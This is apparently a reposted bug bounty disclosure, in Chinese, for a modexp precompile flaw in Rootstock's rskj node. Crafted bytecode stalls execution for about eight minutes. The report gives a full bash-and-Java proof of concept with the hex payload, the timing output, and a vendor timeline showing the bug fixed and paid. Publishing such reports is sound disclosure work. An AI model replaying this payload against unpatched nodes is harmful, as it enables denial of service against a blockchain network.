Rootstock Labs模式扩展预编译漏洞导致智能合约执行延迟8分钟

本文详细披露了Rootstock Labs平台中modexp预编译合约的一个严重漏洞,该漏洞可导致特制智能合约执行时间长达8分钟,可能造成网络阻塞。包含完整的复现步骤、测试代码和厂商响应时间线。

Rootstock Labs | 报告 #2412583 - 特制智能合约因modexp预编译漏洞需8分钟执行

漏洞摘要

modexp预编译合约中存在一个漏洞,可导致长时间执行停滞。

复现步骤

测试环境:Linux x64

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/bin/bash

wget -q https://download.java.net/java/GA/jdk11/9/GPL/openjdk-11.0.2_linux-x64_bin.tar.gz
tar zxf openjdk-11.0.2_linux-x64_bin.tar.gz
export JAVA_HOME=$(realpath jdk-11.0.2/)
git clone --depth 1 https://github.com/rsksmart/rskj.git
cd rskj/
./configure.sh
echo """
package co.rsk.vm;

import org.ethereum.config.blockchain.upgrades.ActivationConfig;
import co.rsk.config.TestSystemProperties;
import co.rsk.config.VmConfig;
import org.ethereum.vm.*;
import org.ethereum.core.BlockFactory;
import org.ethereum.core.BlockTxSignatureCache;
import org.ethereum.core.ReceivedTxSignatureCache;
import org.ethereum.vm.program.invoke.ProgramInvokeMockImpl;
import java.util.HashSet;
import org.ethereum.vm.program.Program;
import org.ethereum.config.blockchain.upgrades.ActivationConfigsForTest;
import javax.xml.bind.DatatypeConverter;
import org.junit.jupiter.api.Test;

public class Poc {
    @Test
    void testPoc() {
        TestSystemProperties config = new TestSystemProperties();
        PrecompiledContracts precompiledContracts = new PrecompiledContracts(config, null, new BlockTxSignatureCache(new ReceivedTxSignatureCache()));
        BlockFactory blockFactory = new BlockFactory(config.getActivationConfig());
        VmConfig vmConfig = config.getVmConfig();
        ProgramInvokeMockImpl invoke = new ProgramInvokeMockImpl();
        ActivationConfig.ForBlock activations = ActivationConfigsForTest.fingerroot500().forBlock(0);

        byte[] code = DatatypeConverter.parseHexBinary(\"3332335b59313660d53d601c30303030333333333d601c30303030333333333333321b1b1b1b325b593136605858425a606052015952601d52609880808060006000600536f1603d3333321b1b1b1b32365b3159605858425a606052015952601d52609880808060006000600536f1603d313880813b60003960006000f50a30303030303030\");

        invoke.setGas(1000 * 1000 * 5);
        VM vm = new VM(vmConfig, precompiledContracts);
        Program program = new Program(vmConfig, precompiledContracts, blockFactory, activations, code, invoke,null, new HashSet<>(), new BlockTxSignatureCache(new ReceivedTxSignatureCache()));

        for (int k = 0; k < 250; k++) {
            vm.step(program);
        }
    }
}
""">rskj-core/src/test/java/co/rsk/vm/Poc.java

# 这可能会因java.lang.OutOfMemoryError异常而失败
time ./gradlew test  --tests co.rsk.vm.Poc.testPoc

# 增加测试堆大小
sed -i 's/Xmx3G/Xmx10G/g' rskj-core/build.gradle

# 再次运行
time ./gradlew test  --tests co.rsk.vm.Poc.testPoc

输出结果

1
2
3
real    8m23.429s
user    0m3.147s
sys     0m0.265s

影响

可能导致网络阻塞。

时间线

  • 2024年3月11日 19:40 UTC - guido提交报告
  • 2024年3月12日 14:22 UTC - Rootstock Labs团队请求提供Solidity代码
  • 2024年3月12日 15:30 UTC - 团队确认正在分析报告
  • 2024年3月26日 08:40 UTC - 团队确认问题存在并正在修复
  • 2024年4月11日 14:09 UTC - 严重性评级调整为高危(8.3)
  • 2024年4月11日 14:11 UTC - 奖励发放,问题标记为已解决
  • 2025年6月13日 17:02 UTC - 报告公开披露

漏洞详情

弱点类型: 不受控制的资源消耗
CVE ID: 无
赏金状态: 已发放(隐藏金额)

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计